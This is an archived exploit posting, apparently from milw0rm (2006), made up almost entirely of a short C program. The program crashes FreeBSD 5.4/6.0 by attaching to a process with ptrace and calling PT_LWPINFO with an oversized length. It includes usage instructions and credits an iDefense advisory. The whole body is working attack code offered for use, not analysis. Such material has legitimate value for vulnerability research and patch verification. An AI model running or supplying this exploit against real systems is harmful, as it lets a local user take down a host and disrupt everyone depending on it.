FreeBSD 5.4/6.0 - 'ptrace PT_LWPINFO' Local Denial of Service

#include <sys/types.h>
#include <sys/ptrace.h>
#include <unistd.h>
/* lol lol, exploit for http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=419
thank you oh unknown, sincerely kokanin@gmail. usage: ./blah <pid you own> */

int main(int argc, char *argv[]){
	struct ptrace_lwpinfo *lol;
	ptrace(PT_ATTACH,atoi(argv[1]),NULL,0);
	wait(NULL);
	ptrace(PT_LWPINFO,atoi(argv[1]),(void *)&lol,32768);
}

// milw0rm.com [2006-10-12]